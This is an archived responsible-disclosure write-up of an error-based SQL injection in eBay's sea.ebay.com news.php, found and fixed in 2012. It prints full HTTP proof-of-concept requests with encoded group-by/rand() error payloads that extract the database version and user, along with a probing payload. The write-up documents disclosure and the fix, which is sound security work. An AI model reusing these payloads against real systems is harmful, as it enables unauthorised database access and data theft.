Write-up: SQL injection in eBay's news.php

Archived article from 18 November 2012. Its content reflects the state of things at the time. Reconstructed from the web archive of secalert.net - view the original.

Summary. A news endpoint on eBay's sea.ebay.com was vulnerable to error-based SQL injection through the checkbox array POST parameter. User input was concatenated into the SQL statement, which allowed extracting data such as the DBMS version and the current database user through crafted error messages. eBay confirmed the issue and remediated it with prepared statements. Reported through responsible disclosure in late 2012.

Background

During some recent bug hunting on eBay subdomains I found an exploitable SQL injection, which I reported to eBay's security team right away. They confirmed the report and fixed the issue within three weeks, and later sent a small gift as thanks for the coordinated disclosure.

The vulnerable page was located at http://sea.ebay.com/news.php, where the checkbox array POST parameter was prone to SQL injection. Whenever I placed SQL statements in it, the server returned a standard SQL error message complaining about invalid syntax. For example, supplying the following:

enforcing an error message - @@secalert
...

POST /news.php?time=3&catid=31 HTTP/1.1

...

checkbox%5B%5D=(select @@secalert)

caused the server to respond with "Unknown system variable 'secalert'", which showed that user-supplied values were being used as part of the legitimate SQL statement. The @@ prefix is MySQL's syntax for a system variable, so @@secalert was read as a variable name and the database complained that no such variable existed.

Proof of concept

Supplying correct syntax, on the other hand, returned no results. So I built a subquery using a nested SELECT statement that would surface data through the error message when the outer statement failed. The next step looked like this:

SQL injection PoC 1 - @@version
POST /news.php?time=3&catid=31 HTTP/1.1

Referer: http://sea.ebay.com/news/abpost/update/

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;)

Cache-Control: no-cache

Accept-Language: en-us,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Host: sea.ebay.com

Cookie: PHPSESSID=r84jrpqcue89t35dgdmd9mggg3; Campaign_country=MY; Campaign=11111; Campaign_kw=23; phpbb3_pcofr_u=1; phpbb3_pcofr_k=; phpbb3_pcofr_sid=e0c86e2f56f810ef4ec3991e95ebe9f8

Content-Length: 243

Accept-Encoding: gzip, deflate

Proxy-Connection: Keep-Alive



checkbox%5B%5D=(select+1+and+row(1%2c1)>(select+count(*)%2cconcat(CONCAT(CHAR(68)%2C(SELECT+%40%40VERSION)%2CCHAR(65)%2CCHAR(86)%2CCHAR(73)%2CCHAR(68))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))

This returned a valid response whose error message disclosed the version of the DBMS in use. To confirm that the injection was genuinely exploitable, I sent a second request asking for the current DBMS user.

SQL injection PoC 2 - user()
POST /news.php?time=3&catid=31 HTTP/1.1

Referer: http://sea.ebay.com/news/abpost/update/

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;)

Cache-Control: no-cache

Accept-Language: en-us,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Host: sea.ebay.com

Cookie: PHPSESSID=r84jrpqcue89t35dgdmd9mggg3; Campaign_country=MY; Campaign=11111; Campaign_kw=23; phpbb3_pcofr_u=1; phpbb3_pcofr_k=; phpbb3_pcofr_sid=e0c86e2f56f810ef4ec3991e95ebe9f8

Content-Length: 243

Accept-Encoding: gzip, deflate

Proxy-Connection: Keep-Alive



checkbox%5B%5D=(select+1+and+row(1%2c1)>(select+count(*)%2cconcat(CONCAT(CHAR(68)%2C(SELECT+USER())%2CCHAR(65)%2CCHAR(86)%2CCHAR(73)%2CCHAR(68))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))&

This time the response contained the name of the current DBMS user, which confirmed the injection.

Impact and fix

Error-based extraction like this lets an attacker read arbitrary data from the database one value at a time, including schema, versions and user context, and it is a stepping stone to reading application data. eBay mitigated the issue by switching to prepared statements, so user-supplied values are no longer concatenated into the SQL query. Parameterised queries are the correct fix here, because they separate code from data regardless of what the input contains.

Timeline

timeline
October 30th 2012: vulnerability found and reported to eBay (securityresearch@ebay.com)
November 5th 2012: vulnerability reported to eBay again
November 5th 2012: eBay confirmed the presence of the SQL injection
November 16th 2012: eBay replied that the issue was fixed and offered to send a small gift
November 18th 2012: this write-up published
December 15th 2012: received an optical computer mouse from the eBay security team